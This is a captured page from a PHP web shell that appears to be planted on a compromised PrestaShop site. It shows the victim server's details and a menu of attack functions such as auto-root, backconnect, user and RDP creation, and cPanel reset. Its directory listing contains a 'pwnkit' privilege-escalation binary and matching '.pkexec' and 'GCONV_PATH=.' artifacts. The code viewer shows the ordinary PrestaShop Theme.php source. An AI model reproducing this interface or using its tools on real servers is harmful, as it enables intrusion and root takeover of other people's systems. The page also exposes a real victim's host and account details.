Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
src /
Core /
Addon /
Theme /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Theme.php
7.51
KB
-rw----r--
ThemeCollection.php
5.85
KB
-rw----r--
ThemeExporter.php
4.72
KB
-rw----r--
ThemeManager.php
19.15
KB
-rw----r--
ThemeManagerBuilder.php
2.92
KB
-rw----r--
ThemePageLayoutsCustomizer.php
2.19
KB
-rw----r--
ThemePageLayoutsCustomizerInte...
1.33
KB
-rw----r--
ThemeProvider.php
1.91
KB
-rw----r--
ThemeProviderInterface.php
1.45
KB
-rw----r--
ThemeRepository.php
4.87
KB
-rw----r--
ThemeUploaderInterface.php
1.4
KB
-rw----r--
ThemeValidator.php
5.63
KB
-rw----r--
ThemeZipUploader.php
3.53
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Theme.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Core\Addon\Theme; use AbstractAssetManager; use PrestaShop\PrestaShop\Core\Addon\AddonInterface; use Shudrum\Component\ArrayFinder\ArrayFinder; use Symfony\Component\Yaml\Yaml; class Theme implements AddonInterface { private $attributes; public function __construct(array $attributes) { if (isset($attributes['parent'])) { $parentAttributes = Yaml::parse(file_get_contents(_PS_ALL_THEMES_DIR_ . '/' . $attributes['parent'] . '/config/theme.yml')); $parentAttributes['preview'] = 'themes/' . $attributes['parent'] . '/preview.png'; $parentAttributes['parent_directory'] = rtrim($attributes['directory'], '/') . '/'; $attributes = array_merge($parentAttributes, $attributes); } $attributes['directory'] = rtrim($attributes['directory'], '/') . '/'; if (file_exists(_PS_ALL_THEMES_DIR_ . $attributes['name'] . '/preview.png')) { $attributes['preview'] = 'themes/' . $attributes['name'] . '/preview.png'; } $this->attributes = new ArrayFinder($attributes); } public function get($attr = null, $default = null) { return $this->attributes->get($attr, $default); } public function has($attr) { return $this->attributes->offsetExists($attr); } public function getName() { return $this->attributes->get('name'); } public function getDirectory() { return $this->attributes->get('directory'); } public function getModulesToEnable() { $modulesToEnable = $this->get('global_settings.modules.to_enable', []); $modulesToHook = $this->get('global_settings.hooks.modules_to_hook', []); foreach ($modulesToHook as $hookName => $modules) { if (is_array($modules)) { foreach (array_values($modules) as $module) { if (is_array($module)) { $module = key($module); } if (null !== $module && !in_array($module, $modulesToEnable)) { $modulesToEnable[] = $module; } } } } return $modulesToEnable; } public function getModulesToDisable() { return $this->get('dependencies.modules', []); } public function getPageSpecificAssets($pageId) { return [ 'css' => $this->getPageSpecificCss($pageId), 'js' => $this->getPageSpecificJs($pageId), ]; } public function onInstall() { return true; } public function onUninstall() { return true; } /** * Execute up files. You can update configuration, update sql schema. * No file modification. * * @return bool true for success */ public function onUpgrade($version) { return true; } /** * Called when switching the current theme of the selected shop. * You can update configuration, enable/disable modules... * * @return bool true for success */ public function onEnable() { return true; } /** * Not necessarily the opposite of enable. Use this method if * something must be done when switching to another theme (like uninstall * very specific modules for example). * * @return bool true for success */ public function onDisable() { return true; } public function onReset() { return true; } public function setPageLayouts(array $layouts) { $this->attributes->set('theme_settings.layouts', $layouts); } public function getDefaultLayout() { $availableLayouts = $this->getAvailableLayouts(); $defaultLayoutIdentifier = $this->attributes->get('theme_settings.default_layout'); $defaultLayout = $availableLayouts[$defaultLayoutIdentifier]; $defaultLayout['key'] = $defaultLayoutIdentifier; return $defaultLayout; } public function getPageLayouts() { return $this->attributes->get('theme_settings.layouts'); } public function getAvailableLayouts() { return $this->attributes->get('meta.available_layouts'); } public function getLayoutNameForPage($page) { $layout_name = $this->get('theme_settings.default_layout'); if (isset($this->attributes['theme_settings']['layouts'][$page]) && $this->attributes['theme_settings']['layouts'][$page]) { $layout_name = $this->attributes['theme_settings']['layouts'][$page]; } return $layout_name; } public function getLayoutRelativePathForPage($page) { return 'layouts/' . $this->getLayoutNameForPage($page) . '.tpl'; } private function getPageSpecificCss($pageId) { $css = array_merge( (array) $this->get('assets.css.all'), (array) $this->get('assets.css.' . $pageId) ); foreach ($css as $key => &$entry) { // Required parameters if (!isset($entry['id']) || !isset($entry['path'])) { unset($css[$key]); continue; } if (!isset($entry['media'])) { $entry['media'] = AbstractAssetManager::DEFAULT_MEDIA; } if (!isset($entry['priority'])) { $entry['priority'] = AbstractAssetManager::DEFAULT_PRIORITY; } if (!isset($entry['inline'])) { $entry['inline'] = false; } } return $css; } private function getPageSpecificJs($pageId) { $js = array_merge( (array) $this->get('assets.js.all'), (array) $this->get('assets.js.' . $pageId) ); foreach ($js as $key => &$entry) { // Required parameters if (!isset($entry['id']) || !isset($entry['path'])) { unset($js[$key]); continue; } if (!isset($entry['position'])) { $entry['position'] = AbstractAssetManager::DEFAULT_JS_POSITION; } if (!isset($entry['priority'])) { $entry['priority'] = AbstractAssetManager::DEFAULT_PRIORITY; } if (!isset($entry['inline'])) { $entry['inline'] = false; } if (!isset($entry['attribute'])) { $entry['attribute'] = false; } } return $js; } }
Close